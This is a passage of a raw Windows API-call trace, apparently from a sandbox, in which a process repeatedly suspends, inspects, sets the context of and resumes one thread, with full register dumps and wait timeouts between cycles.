[27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0260.729] SetThreadContext (hThread=0xf4, lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10212, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031870, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xea4720, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0261.412] ResumeThread (hThread=0xf4) returned 0x1 [0261.412] CloseHandle (hObject=0xf4) returned 1 [0261.412] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0261.551] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0261.644] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0262.102] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0262.291] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0262.291] SuspendThread (hThread=0xf4) returned 0x0 [0262.291] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000317c8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe49aa0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0262.600] ResumeThread (hThread=0xf4) returned 0x1 [0262.600] CloseHandle (hObject=0xf4) returned 1 [0262.859] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0263.080] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0263.484] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0264.212] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0264.514] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0264.514] SuspendThread (hThread=0xf4) returned 0x0 [0264.514] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031728, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe55440, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0264.820] ResumeThread (hThread=0xf4) returned 0x1 [0264.820] CloseHandle (hObject=0xf4) returned 1 [0264.820] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0265.136] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0265.260] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0265.420] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0265.831] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0265.831] SuspendThread (hThread=0xf4) returned 0x0 [0265.831] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10207, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031750, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe67020, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0266.056] ResumeThread (hThread=0xf4) returned 0x1 [0266.056] CloseHandle (hObject=0xf4) returned 1 [0266.056] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0266.509] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0267.244] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0267.448] NtWaitForSingleObject 